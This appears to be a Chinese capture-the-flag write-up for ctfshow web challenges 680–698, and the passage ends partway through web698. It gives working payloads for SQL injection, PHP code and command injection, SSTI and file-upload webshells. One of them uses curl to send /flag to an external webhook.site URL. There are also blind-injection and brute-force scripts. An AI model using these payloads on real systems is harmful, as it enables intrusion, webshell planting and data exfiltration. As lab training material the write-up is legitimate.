web680

PHP代码执行
disable_functions绕过

先使用phpinfo(),发现有一堆disable_functions

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir

在蚁剑中查看目录需要用到opendir,readdir,closedir

这里还有一个scandir函数是可以列出指定路径中的文件和目录

code=var_dump(scandir("."));

读取文件使用highlight_file

code=highlight_file(secret_you_never_know);

web681

SQL注入

根据回显提示

select count(*) from ctfshow_users where username = '$name' or nickname = '$name'

'被过滤了,使用\转义'来注入。

payload

name=||1=1#\

web682

JS混淆加密
反调试

这里采用的是JavaScript obfuscator

使用反混淆的在线网站

eval(function (_0x511e23, _0xa7df9a, _0x1ec6e8, _0x334e7c, _0x20ea53, _0x455db4) {
  _0x20ea53 = function (_0x241f82) {
    return _0x241f82.toString(_0xa7df9a);
  };
  if (!''.replace(/^/, String)) {
    while (_0x1ec6e8--) {
      _0x455db4[_0x20ea53(_0x1ec6e8)] = _0x334e7c[_0x1ec6e8] || _0x20ea53(_0x1ec6e8);
    }
    _0x334e7c = [function (_0x2a38d4) {
      return _0x455db4[_0x2a38d4];
    }];
    _0x20ea53 = function () {
      return "\\w+";
    };
    _0x1ec6e8 = 0x1;
  }
  ;
  while (_0x1ec6e8--) {
    if (_0x334e7c[_0x1ec6e8]) {
      _0x511e23 = _0x511e23.replace(new RegExp("\\b" + _0x20ea53(_0x1ec6e8) + "\\b", 'g'), _0x334e7c[_0x1ec6e8]);
    }
  }
  return _0x511e23;
}("(3(){(3 a(){7{(3 b(2){9((''+(2/2)).5!==1||2%g===0){(3(){}).8('4')()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();", 0x11, 0x11, '||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20'.split('|'), 0x0, {}));

//将16进制数转为数字,长度只能为1,不然返回0
var c2n = _0x1d65f5 => {
  if (_0x1d65f5.length > 0x1) {
    return 0x0;
  }
  if (_0x1d65f5.charCodeAt() > 0x60 && _0x1d65f5.charCodeAt() < 0x67) {
    return _0x1d65f5.charCodeAt() - 0x57;
  }
  if (parseInt(_0x1d65f5) > 0x0) {
    return parseInt(_0x1d65f5);
  }
  return 0x0;
};

//将每位数加到一起
var s2n2su = _0x511796 => {
  r = 0x0;
  for (var _0x28ce10 = _0x511796.length - 0x1; _0x28ce10 >= 0x0; _0x28ce10--) {
    r += c2n(_0x511796[_0x28ce10]);
  }
  return r;
};

function test() {
  var _0x4bf698 = document.getElementById("message").value;
  if (sha256(_0x4bf698) !== 'e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d') {  //sha256校验
    return alert('error');
  }
  var _0x15409a = _0x4bf698.substring(0x0, 0x8);
  if (_0x15409a !== "ctfshow{") {   //开头为ctfshow{
    return alert('error');
  }
  }
  if (_0x4bf698.substring(_0x4bf698.length, _0x4bf698.length - 0x1) !== '}') { //结尾为}
    return alert('error');
  }
  var _0xa109f6 = _0x4bf698.substring(0x8, _0x4bf698.length - 0x1); //中间值长度为0x24
  if (_0xa109f6.length !== 0x24) {
    return alert('error');
  }
  var _0x3f5e35 = _0xa109f6.split('-');  //使用-将中间值分割为5段
  if (_0x3f5e35.length !== 0x5) {
    return alert('error');
  }
  if (s2n2su(_0x3f5e35[0x0]) !== 0x3f) {  //第一段
    return alert('error');
  }
  if (sha256(_0x3f5e35[0x0].substr(0x0, 0x4)) !== "c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400") {  //第一段的前四位sha256值,解出来为592b
    return alert('error');
  }
  if (sha256(_0x3f5e35[0x0].substr(0x4, 0x8)) !== 'f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc') {  //第一段的后四位sha256值,解出来为9d77
    return alert('error');
  }
  if (parseInt(_0x3f5e35[0x1][0x0]) !== c2n('a') - 0x1) { //第二段的第1位为9
    return alert('error');
  }
  if (_0x3f5e35[0x1][0x1] + _0x3f5e35[0x1][0x2] + _0x3f5e35[0x1][0x3] !== "dda") {  //第三段134位为430  左边是10进制右边是16进制
    return alert('error');
  }
  if (_0x3f5e35[0x2][0x1] !== 'e') {  //第三段的第2位为e
    return alert('error');
  }
  if (_0x3f5e35[0x2][0x0] + _0x3f5e35[0x2][0x2] + _0x3f5e35[0x2][0x3] != 0x1ae) {  //第三段134位为1ae
    return alert('error');
  }
  if (parseInt(_0x3f5e35[0x3][0x0]) !== c2n('a') - 0x1) {  //第四段的第1位为9
    return alert('error');
  }
  if (parseInt(_0x3f5e35[0x3][0x1]) !== parseInt(_0x3f5e35[0x3][0x3])) {  //第四段的第2位和第4位相等
    return alert('error');
  }
  if (parseInt(_0x3f5e35[0x3][0x3]) * 0x2 + c2n('a') !== 0x12) {  //第四段的第4位为4
    return alert('error');
  }
  if (sha224(_0x3f5e35[0x3][0x2]) !== "abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5") {  //第四段第三位sha224值,解出来为a
    return alert('error');
  }
  if (st3(_0x3f5e35[0x4]) !== "GVSTMNDGGQ2DSOLBGUZA====") {  //第五段为5e64f4499a52
    return alert('error');
  }
  alert("you are right");
}
const Base64 = {
  '_keyStr': "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  'encode': function (_0x1b46bf) {
    var _0x1630dc = '';
    var _0x393cc5;
    var _0x201a2c;
    var _0x42e93f;
    var _0x13c018;
    var _0x4de829;
    var _0x165e47;
    var _0x38f23e;
    var _0x67b74e = 0x0;
    _0x1b46bf = Base64._utf8_encode(_0x1b46bf);
    while (_0x67b74e < _0x1b46bf.length) {
      _0x393cc5 = _0x1b46bf.charCodeAt(_0x67b74e++);
      _0x201a2c = _0x1b46bf.charCodeAt(_0x67b74e++);
      _0x42e93f = _0x1b46bf.charCodeAt(_0x67b74e++);
      _0x13c018 = _0x393cc5 >> 0x2;
      _0x4de829 = (_0x393cc5 & 0x3) << 0x4 | _0x201a2c >> 0x4;
      _0x165e47 = (_0x201a2c & 0xf) << 0x2 | _0x42e93f >> 0x6;
      _0x38f23e = _0x42e93f & 0x3f;
      if (isNaN(_0x201a2c)) {
        _0x165e47 = _0x38f23e = 0x40;
      } else if (isNaN(_0x42e93f)) {
        _0x38f23e = 0x40;
      }
      _0x1630dc = _0x1630dc + this._keyStr.charAt(_0x13c018) + this._keyStr.charAt(_0x4de829) + this._keyStr.charAt(_0x165e47) + this._keyStr.charAt(_0x38f23e);
    }
    return _0x1630dc;
  },
  'decode': function (_0x38afb7) {
    var _0x4e6b84 = '';
    var _0x2b6149;
    var _0x3edd27;
    var _0x5f1062;
    var _0x665708;
    var _0x2fc104;
    var _0x4ec53d;
    var _0x9d69a0;
    var _0x403f00 = 0x0;
    _0x38afb7 = _0x38afb7.replace(/[^A-Za-z0-9+/=]/g, '');
    while (_0x403f00 < _0x38afb7.length) {
      _0x665708 = this._keyStr.indexOf(_0x38afb7.charAt(_0x403f00++));
      _0x2fc104 = this._keyStr.indexOf(_0x38afb7.charAt(_0x403f00++));
      _0x4ec53d = this._keyStr.indexOf(_0x38afb7.charAt(_0x403f00++));
      _0x9d69a0 = this._keyStr.indexOf(_0x38afb7.charAt(_0x403f00++));
      _0x2b6149 = _0x665708 << 0x2 | _0x2fc104 >> 0x4;
      _0x3edd27 = (_0x2fc104 & 0xf) << 0x4 | _0x4ec53d >> 0x2;
      _0x5f1062 = (_0x4ec53d & 0x3) << 0x6 | _0x9d69a0;
      _0x4e6b84 = _0x4e6b84 + String.fromCharCode(_0x2b6149);
      if (_0x4ec53d != 0x40) {
        _0x4e6b84 = _0x4e6b84 + String.fromCharCode(_0x3edd27);
      }
      if (_0x9d69a0 != 0x40) {
        _0x4e6b84 = _0x4e6b84 + String.fromCharCode(_0x5f1062);
      }
    }
    _0x4e6b84 = Base64._utf8_decode(_0x4e6b84);
    return _0x4e6b84;
  },
  '_utf8_encode': function (_0x477ba6) {
    _0x477ba6 = _0x477ba6.replace(/rn/g, 'n');
    var _0xc59cb = '';
    for (var _0x284f9e = 0x0; _0x284f9e < _0x477ba6.length; _0x284f9e++) {
      var _0x234f6f = _0x477ba6.charCodeAt(_0x284f9e);
      if (_0x234f6f < 0x80) {
        _0xc59cb += String.fromCharCode(_0x234f6f);
      } else if (_0x234f6f > 0x7f && _0x234f6f < 0x800) {
        _0xc59cb += String.fromCharCode(_0x234f6f >> 0x6 | 0xc0);
        _0xc59cb += String.fromCharCode(_0x234f6f & 0x3f | 0x80);
      } else {
        _0xc59cb += String.fromCharCode(_0x234f6f >> 0xc | 0xe0);
        _0xc59cb += String.fromCharCode(_0x234f6f >> 0x6 & 0x3f | 0x80);
        _0xc59cb += String.fromCharCode(_0x234f6f & 0x3f | 0x80);
      }
    }
    return _0xc59cb;
  },
  '_utf8_decode': function (_0x1da40d) {
    var _0x21181b = '';
    var _0x24d5d3 = 0x0;
    var _0x117591 = c1 = c2 = 0x0;
    while (_0x24d5d3 < _0x1da40d.length) {
      _0x117591 = _0x1da40d.charCodeAt(_0x24d5d3);
      if (_0x117591 < 0x80) {
        _0x21181b += String.fromCharCode(_0x117591);
        _0x24d5d3++;
      } else if (_0x117591 > 0xbf && _0x117591 < 0xe0) {
        c2 = _0x1da40d.charCodeAt(_0x24d5d3 + 0x1);
        _0x21181b += String.fromCharCode((_0x117591 & 0x1f) << 0x6 | c2 & 0x3f);
        _0x24d5d3 += 0x2;
      } else {
        c2 = _0x1da40d.charCodeAt(_0x24d5d3 + 0x1);
        c3 = _0x1da40d.charCodeAt(_0x24d5d3 + 0x2);
        _0x21181b += String.fromCharCode((_0x117591 & 0xf) << 0xc | (c2 & 0x3f) << 0x6 | c3 & 0x3f);
        _0x24d5d3 += 0x3;
      }
    }
    return _0x21181b;
  }
};

//base32
function st3(_0x7b38bf) {
  if (!_0x7b38bf) {
    return '';
  }
  let _0x23522e = 0x0;
  let _0x23a42a = 0x0;
  let _0x585f75;
  let _0x102dee;
  let _0x5ecc5a = '';
  _0x7b38bf = Base64._utf8_encode(_0x7b38bf);
  for (let _0x6e2692 = 0x0; _0x6e2692 < _0x7b38bf.length;) {
    _0x585f75 = _0x7b38bf.charCodeAt(_0x6e2692) >= 0x0 ? _0x7b38bf.charCodeAt(_0x6e2692) : _0x7b38bf.charCodeAt(_0x6e2692) + 0x100;
    if (_0x23522e > 0x3) {
      if (_0x6e2692 + 0x1 < _0x7b38bf.length) {
        _0x102dee = _0x7b38bf.charCodeAt(_0x6e2692 + 0x1) >= 0x0 ? _0x7b38bf.charCodeAt(_0x6e2692 + 0x1) : _0x7b38bf.charCodeAt(_0x6e2692 + 0x1) + 0x100;
      } else {
        _0x102dee = 0x0;
      }
      _0x23a42a = _0x585f75 & 0xff >> _0x23522e;
      _0x23522e = (_0x23522e + 0x5) % 0x8;
      _0x23a42a <<= _0x23522e;
      _0x23a42a |= _0x102dee >> 0x8 - _0x23522e;
      _0x6e2692++;
    } else {
      _0x23a42a = _0x585f75 >> 0x8 - (_0x23522e + 0x5) & 0x1f;
      _0x23522e = (_0x23522e + 0x5) % 0x8;
      if (_0x23522e == 0x0) {
        _0x6e2692++;
      }
    }
    _0x5ecc5a = _0x5ecc5a + "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567".charAt(_0x23a42a);
  }
  while (_0x5ecc5a.length % 0x8 !== 0x0) {
    _0x5ecc5a += '=';
  }
  return _0x5ecc5a;
}

最前面的eval是用来反调试的,当打开网页调试工具时会循环进行debug
主要看test函数对输入值的校验。

得到最终的值

ctfshow{592b9d77-9dda-4e30-94a4-5e64f4499a52}

web683

连着几道都是code-breaking的题目

PHP intval()函数绕过
科学计数法

<?php

   error_reporting(0);
   include "flag.php";
   if(isset($_GET['秀'])){
       if(!is_numeric($_GET['秀'])){
          die('必须是数字');
       }else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
          die('你太短了');
       }else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
           die('你太长了');
       }else{
           sleep((int)$_GET['秀']);
           echo $flag;
       }
       echo '<hr>';
   }
   highlight_file(__FILE__);

利用对科学计数法数字解析不一致来绕过
但只在php版本小于等于7.0.9时存在,这里服务端是5.6.40
payload

?秀=0.6e7

web684

PHP命名空间
create_function函数注入

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

首先利用命名空间绕过函数名的校验,php 里默认命名空间是 \,所有原生函数和类都在这个命名空间中。

再利用create_funcion,这个函数的第二个参数处存在代码注入。🤣

create_function('', return 1);

效果等同于下面代码

eval(
function __lambda_func(){
  return 1;
}
)

我们可以闭合functon,加入想执行的代码。

payload

?action=\create_function&arg=return%201;}system(%27cat%20/secret_you_never_know%27);/*

web685

PHP文件上传
PCRE 回溯次数限制绕过正则

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

可以使用Regex Debugger看正则匹配过程

php 有一个回溯上限 backtrack_limit ,默认是 1000000。如果回溯上限超过 100 万那么 preg_match 返回 false,正常是返回0和1。

再shell后面加100万个a

payload

<?php eval($_POST[1]);?>//aaaaaa...

web686

PHP无参 RCE

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

正则要求只能为无参函数,可以嵌套。
可以查看phpinfo页面。

phpinfo();

payload

?code=eval(end(current(get_defined_vars())));&a=system('cat%20/secret_you_never_know');

web687

命令注入绕过

<?php
    highlight_file(__FILE__);
    $target = $_REQUEST[ 'ip' ];
    $target=trim($target);
    $substitutions = array(
        '&'  => '',
        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 1 ' . $target );
    echo  "<pre>{$cmd}</pre>";

查看trim函数发现只会去除头和尾的空白符。我们可以使用%0a的方式来执行命令。

payload

?ip=127.0.0.1%0acat%20/flaaag

web688

命令注入绕过

<?php
highlight_file(__FILE__);
error_reporting(0);

//flag in /flag
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
    die( "scheme error!");
 }
$url=escapeshellarg($url);
$url=escapeshellcmd($url);
system("curl ".$url);

escapeshellargescapeshellcmd同时使用的情况下会造成命令注入绕过。

escapeshellarg函数会对所有单引号进行转义,并在字符串两边加上单引号。
escapeshellcmd会对特殊字符进行转义。
当同时使用时,escapeshellcmd会将escapeshellarg函数转义时使用的\进行转义,这样就导致单引号就逃逸了。

使用curl自带的-F参数,使用上传文件方式带出数据

需要记得闭合后面的单引号
payload

?url=https://webhook.site/71e198ec-e444-449d-a394-a46673608347/%27%20-F%20file=@/flag%20%27

web689

SSRF

<?php 
error_reporting(0);
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
    
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,'..') > -1){
    die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.CTFshow";
}

可以写入文件,但内容限制只能为http://127.0.0.1/开头的返回值
发现页面会回显$path值,可以用来控制写入文件内容。

payload

?path=1.php&file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php%20system(%27cat%20/flag%27);?>

web690

命令执行绕过

<?php 
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
    if ( !preg_match('/^\w+$/', $args[$i]) )
        exit("sorry");
}

exec('./ ' . implode(" ", $args));

使用%0a不仅能通过正则校验,还能实现命令注入。
命令参数限制只能为[a-zA-Z0-9_]

将ip转为10进制

?args[0]=a%0a&args[1]=wget&args[2]=ip

wget下载时当没有文件名时使用默认文件名index.html

自己写一个py脚本来响应请求

from http.server import HTTPServer, BaseHTTPRequestHandler
 
host = ('0.0.0.0', 80)
 
class Resquest(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"<?php file_put_contents(\"shell.php\",'<?php eval($_POST[1]);?>');?>")
 
if __name__ == '__main__':
    server = HTTPServer(host, Resquest)
    print("Starting server, listen at: %s:%s" % host)
    server.serve_forever()

创建了一个a目录,并把index.html下载进去了

args[0]=1%0a&args[1]=mkdir&args[2]=a%0a&args[3]=cd&args[4]=a%0a&args[5]=wget&args[6]=ip

因为index.html文件名含有.,这里无法使用php来执行。
我们创建的目录就有用了

将目录a压缩至文件shell,这样文件名就不含.了,同时还保留着文件内容在里面。

?args[0]=1%0a&args[1]=tar&args[2]=cvf&args[3]=shell&args[4]=a

使用php执行文件

?args[0]=1%0a&args[1]=php&args[2]=shell

连接生成的shell.php

web691

SQL注入
order by 排序盲注技巧

<?php
 
include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function   filter($str){
      $filterlist = "/\(|\)|username|password|where|
      case|when|like|regexp|into|limit|=|for|;/";
      if(preg_match($filterlist,strtolower($str))){
        die("illegal input!");
      }
      return $str;
  }
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where  username =
 '$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
  $row = $res -> fetch_assoc();
  if($row['id']){
     echo $row['username'];
  }
}else{
   echo "The content in the password column is the flag!";
}

?>

只会回显username,再加上一堆过滤,想通过UNION回显注入不行。
这里用到order by的一种特殊排序盲注的方式。

order by比较字符串时,会转换成hex从首字母开始比较,这里当我们设置字符串小于等于password时,会显示2,当大于password时,显示admin.

poc

import requests

s="-0123456789abcdefghijklmnopqrstuvwxyz{}"
url="http://735a5330-22d4-44e4-88aa-77832c4633ba.challenge.ctf.show/"

flag=''
for i in range(1,46):
	print(i)
	for j in s:
		data={
		'username':"'||TRUE union select 1,2,'{0}' order by 3#".format(flag+j),
		'password':''
	    }
		r=requests.post(url,data=data)
		print(data['username'])
		if("</code>admin" in r.text):
			flag=flag+s[s.index(j)-1]
			print(flag)
			break

web692

addslashes+preg_replace函数单引号逃逸

<?php

highlight_file(__FILE__);

if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

参考preg_replace使用文档

preg_replace函数想要替换值为\,$replacement需要为\\
当$replacement=\\\时,会替换为\\

这里因为使用了addslashes,我们传入参数\',经过函数后会变为\\\'
再根据上面preg_replace的特性,结果会替换为\\',这样就会导致单引号逃逸,我们可以在config.php中注入php代码。

payload

?option=\';system($_GET[1]);/*

web693

extract覆盖变量

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

call_user_func函数的第二个参数是$_GET,需要找一个参数是数组的函数来利用,刚好extract函数就能实现,覆盖$file参数来利用文件包含执行php。

payload

/?function=extract&&file=data://text/plain,<?php%20phpinfo();?>

web694

文件上传
IP伪造
目录穿越

<?php
error_reporting(0);
$action=$_GET['action'];
$file = substr($_GET['file'],0,3);
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));
$content = $_POST['content'];
$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;
if($action=='ctfshow'){
    file_put_contents($path,$content);
}else{
    highlight_file(__FILE__);
}
?>

$file参数只有三位,无法设置后缀为php的文件名。$path参数可以通过X-FORWARDED-FOR控制
设置成如下path

__DIR__/a.php/.

$file参数设置为.,这样会识别为文件,否则会识别为目录。

POST /?action=ctfshow&file=.
X-FORWARDED-FOR:a.php

content=<?php phpinfo();?>

web695

NodeJS组件漏洞

router.post('/uploadfile', async (ctx, next) => {
  const file = ctx.request.body.files.file;

  if (!fs.existsSync(file.path)) {
    return ctx.body = "Error";
  }

  if(file.path.toString().search("/dev/fd") != -1){
    file.path="/dev/null"
  }

  const reader = fs.createReadStream(file.path);
  let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
  let filePath = path.join(__dirname, 'upload/') + fileId
  const upStream = fs.createWriteStream(filePath);
  reader.pipe(upStream)
  return ctx.body = "Upload success ~, your fileId is here:" + fileId;
  
});

router.get('/downloadfile/:fileId', async (ctx, next) => {
  let fileId = ctx.params.fileId;
  ctx.attachment(fileId);
  try {
    await send(ctx, fileId, { root: __dirname + '/upload' });
  }catch(e){
    return ctx.body = "no_such_file_~"
  }
});

koa-body相关漏洞,详细信息查看isssues
修复建议是使用ctx.request.files代替ctx.request.body.files

当使用使用后一种时,我们可以通过上传json格式数据来控制file参数的内容,以及file.name和file.path的内容。

payload

POST /uploadfile
Content-Type: application/json

{"files":{"file":{"name":"","path":"flag"}}}

web696

Django框架
SSRF
SSTI

views.py

from django.shortcuts import render
from django.http import JsonResponse
from django.contrib.auth.models import User
from django.contrib import auth
from django.contrib.auth.decorators import login_required
from .models import Token
from .utils import ssrf_check
import json
import requests
import base64


def login(request):
    if request.method == "GET":
        return render(request, "templates/login.html")
    elif request.method == "POST":
        try:
            data = json.loads(request.body)
        except ValueError:
            return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})
        user = auth.authenticate(**data)
        if user is not None:
            auth.login(request, user)
            return JsonResponse({"code": 0})
        else:
            return JsonResponse({"code": 1})


def reg(request):
    if request.method == "GET":
        return render(request, "templates/reg.html")
    elif request.method == "POST":
        try:
            data = json.loads(request.body)
        except ValueError:
            return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})

        if len(User.objects.filter(username=data["username"])) != 0:
            return JsonResponse({"code": 1})
        User.objects.create_user(**data)
        return JsonResponse({"code": 0})


@login_required
def home(request):
    if request.method == "GET":
        return render(request, "templates/home.html")
    elif request.method == "POST":
        white_list = ["10.227.6.31:10000"]
        try:
            data = json.loads(request.body)
        except ValueError:
            return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})

        if Token.objects.all().first().Token == data["token"]:
            try:
                if ssrf_check(data["url"], white_list):
                    return JsonResponse({"code": -1, "message": "Hacker!"})
                else:
                    res = requests.get(data["url"], timeout=1)
            except Exception:
                return JsonResponse({"code": -1, "message": "Request Error"})
            if res.status_code == 200:
                return JsonResponse({"code": 0, "message": res.text})
            else:
                return JsonResponse({"code": -1, "message": "Something Wrong"})
        else:
            return JsonResponse({"code": -1, "message": "Token Error"})


def flask_rpc(request):
    if request.META['REMOTE_ADDR'] != "127.0.0.1":
        return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

    methods = request.GET.get("methods")
    url = request.GET.get("url")

    if methods == "GET":
        return JsonResponse(
            {"code": 0, "message": requests.get(url, headers={"User-Agent": "Django proxy =v="}, timeout=1).text})
    elif methods == "POST":
        data = base64.b64decode(request.GET.get("data"))
        return JsonResponse({"code": 0, "message": requests.post(url, data=data,
                                                                 headers={"User-Agent": "Django proxy =v=",
                                                                          "Content-Type": "application/json"}, timeout=1).text})
    else:
        return JsonResponse({"code": -1, "message": "=3="})

home函数处存在requests.get(data["url"], timeout=1),可以利用来访问flask_rpc函数,因为它限制只能127.0.0.1访问,利用flask_rpc函数构造POST包,访问web2中的/caculator,利用render_template_string的SSTI漏洞执行命令。

但是访问home函数前需要登录,而且还需要token参数

admin.py

from django.contrib import admin
from django.contrib.auth.models import Group, User
from .models import Token


# Register your models here.

@admin.register(Token)
class CourseModelAdmin(admin.ModelAdmin):
    list_display = ('Token',)
    list_display_links = None
    list_editable = []

    def save_model(self, request, obj, form, change):
        return None

    def change_view(self, request, object_id, **kwargs):
        return None

    def has_add_permission(self, request):
        return None

    def has_change_permission(self, request, obj=None):
        return True

    def has_delete_permission(self, request, obj=None):
        return None


admin.site.unregister(Group)
admin.site.unregister(User)
admin.site.site_title = "Jsonhub"
admin.site.site_header = "Jsonhub"

我们注册一个有管理员权限的账号来查看token

直接偷张图

{
"username":"admin",
"password":"admin",
"is_staff":1,
"is_superuser":1
}

注册用户

登录

使用cookie获取token

payload

{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=xxxx","token":"06eb4a4770ceec683fa2639bda341266"}

web2/app.py

from flask import Flask, request, render_template_string, abort
import re
import json
import string, random

app = Flask(__name__)


def log():
    if request.method == "GET":
        s = "GET {}".format(request.url)

    elif request.method == "POST":
        s = "POST {}\n{}".format(request.url, request.data)
    else:
        s = "Error! {}".format(request.method)
    with open("/var/tmp/flask.log", "wb") as log:
        log.write(s.encode("utf8"))
        log.write(b"\n")


@app.before_request
def before_request():
    data = str(request.data)
    log()
    if "{{" in data or "}}" in data or "{%" in data or "%}" in data:
        abort(401)


@app.route('/')
def index():
    return "flag{" + ''.join(random.choices(string.ascii_letters + string.digits, k=32)) + "}"


@app.route('/admin')
def whoami():
    return __import__("os").popen("whoami").read()


@app.route('/caculator', methods=["POST"])
def caculator():
    try:
        data = request.get_json()
    except ValueError:
        return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
    num1 = str(data["num1"])
    num2 = str(data["num2"])
    symbols = data["symbols"]
    if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
        return json.dumps({"code": -1, "message": "?"})

    return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")


if __name__ == '__main__':
    app.run(host="0.0.0.0")

这里symbol参数没有过滤只需要含有[+\-*/]",可以注入ssti代码,再before_request函数中对传入数据data进行了过滤,不能含有{{,}}以及{%,%},但刚好这里是通过json传入的数据,在json中可以通过unicode编码来绕过。

{"symbols":"\u007b\u007bx.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')\u007d\u007d-","num1":"1","num2":"2"}

web697

PHP tricks
SQL注入

<?php
				$NOHO=isset($_GET['NOHO'])?$_GET['NOHO']:die('<p>Parameter NOHO:The Number Of Higher Organisms</p>');
				if ($NOHO<7400000000)
					die('<p>Infinite gloves AI:Obviously,The Number of higher organisms is too small!!<p>');
				else{
					if (@strlen($NOHO)>2)
						die('<p>Infinite gloves AI:The lenth of entered number is too long(>2).<p>');
				}
				if (isset($_POST['password'])) {
					$r = @mysqli_query($con,"SELECT master FROM secret WHERE password = binary '" . md5($_POST['password'], true) . "'");
					echo "<!--SELECT master FROM secret WHERE password = binary '" . md5($_POST['password'], true) . "'"."-->";

					if (@mysqli_num_rows($r) < 1)
						echo "<p>You are not Thanos!!</p>";
					else {
						$row = @mysqli_fetch_assoc($r);

						$login = $row['master'];
						echo "<p>Hi <b>$login</b>!<br/></p>";
						echo "<table border=1 style='margin:auto'><tr><th>suspend code</th></tr>";
						mysqli_free_result($r);
						$r = @mysqli_query($con,"SELECT suspend_code FROM secret");
						while ($row = @mysqli_fetch_assoc($r))
							echo "<tr><td>{$row['suspend_code']}</td></tr>";
						echo "</table>";
						mysqli_free_result($r);
						mysqli_close($con);
					}
				}
				else {
			?>

使用?NOHO[]=,$NOHO的值会为NULL,NULL作大小比较时都会返回false。

写个php脚本爆破,使MD5后的hex数据刚好含有'='的hex值(273D27),即可使查询返回true。
分析:此时语句变成了SELECT master FROM secret WHERE password = 'BBB'='CCC',假设password='AAA',那么在执行sql查询的时候,语句的优先级是这样的:('AAA'='BBB')='CCC'
很明显'AAA'不等于'BBB',所以'AAA'='BBB'返回0,语句变成了0='CCC',当这里的数字和字符串比较的时候,Mysql会将字符串转换为数字,这里的'CCC'被转换为0,0=0为真返回1,最后成功构造闭合sql语句,使查询返回true.

<?php
for ($i = 0;$i < 9e6;$i++) {
    if (stripos(md5($i, true), "'='") !== false)
        echo "md5($i) = " . md5($i, true)."</br>";
}
?>

web698

哈希长度扩展攻击

参考文章哈希长度扩展攻击以及HashPump安装使用和两道题目

使用工具hash-ext-attack

<?php
@error_reporting(0);

$flag = "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
$secret_key = "xxxxxxxxxxxxxxxx"; // the key is safe! no one can know except me
$username = $_POST["username"];
$password = $_POST["password"];
header("hash_key:" . $hash_key);

if (!empty($_COOKIE["getflag"])) {
    if (urldecode($username) === "D0g3" && urldecode($password) != "D0g3") {
        if ($COOKIE["getflag"] === md5($secret_key . urldecode($username . $password))) {
            echo "Great! You're in!\n";
            die ("<!-- The flag is ". $flag . "-->");
        }
        else {
            die ("Go out! Hacker!");
        }
    }
    else {
        die ("LEAVE! You're not one of us!");
    }
}

setcookie("sample-hash", md5($secret_key . urldecode("D0g3" . "D0g3")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
